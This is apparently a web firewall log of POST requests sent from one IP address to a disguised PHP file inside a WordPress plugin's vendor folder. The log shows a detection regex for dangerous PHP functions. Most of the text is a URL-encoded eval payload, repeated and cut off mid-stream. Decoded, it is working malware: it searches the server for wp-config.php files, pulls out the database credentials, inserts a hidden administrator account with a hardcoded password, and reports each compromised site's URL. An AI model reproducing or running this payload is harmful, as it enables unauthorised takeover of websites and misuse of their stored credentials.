0%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 05:39:24","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ybXJBY:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncontent-length:12663\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nybXJBY=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24